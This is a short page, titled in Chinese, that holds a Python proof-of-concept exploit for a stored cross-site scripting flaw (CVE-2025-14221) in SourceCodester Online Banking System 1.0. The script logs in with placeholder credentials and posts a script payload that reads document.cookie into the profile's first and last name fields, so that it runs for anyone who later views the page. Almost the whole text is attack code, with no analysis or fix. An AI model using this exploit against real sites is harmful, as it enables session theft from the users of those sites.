CVE-2025-14221 SourceCodester在线银行系统1.0 XSS漏洞

import requests import sys # CVE-2025-14221 PoC - Stored XSS in SourceCodester Online Banking System 1.0 # Target: /?page=user - First Name / Last Name parameter TARGET_URL = "http://target-host/online-banking-system/" LOGIN_URL = TARGET_URL + "?page=login" PROFILE_URL = TARGET_URL + "?page=user" # Malicious XSS payload XSS_PAYLOAD = '<script>alert(document.cookie)</script>' def exploit(): """ Exploit for CVE-2025-14221: Stored XSS in user profile First Name/Last Name fields """ session = requests.Session() # Step 1: Login to the system with low-privilege account login_data = { 'username': 'attacker_username', 'password': 'attacker_password' } try: response = session.post(LOGIN_URL, data=login_data) # Step 2: Access profile page and inject XSS payload profile_data = { 'firstname': XSS_PAYLOAD, 'lastname': XSS_PAYLOAD, 'submit': 'Save' } response = session.post(PROFILE_URL, data=profile_data) print("[+] XSS payload injected successfully!") print(f"[+] Payload: {XSS_PAYLOAD}") print("[+] When victims visit /?page=user, the script will execute") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") sys.exit(1) if __name__ == "__main__": print("CVE-2025-14221 PoC - SourceCodester Online Banking System XSS") exploit()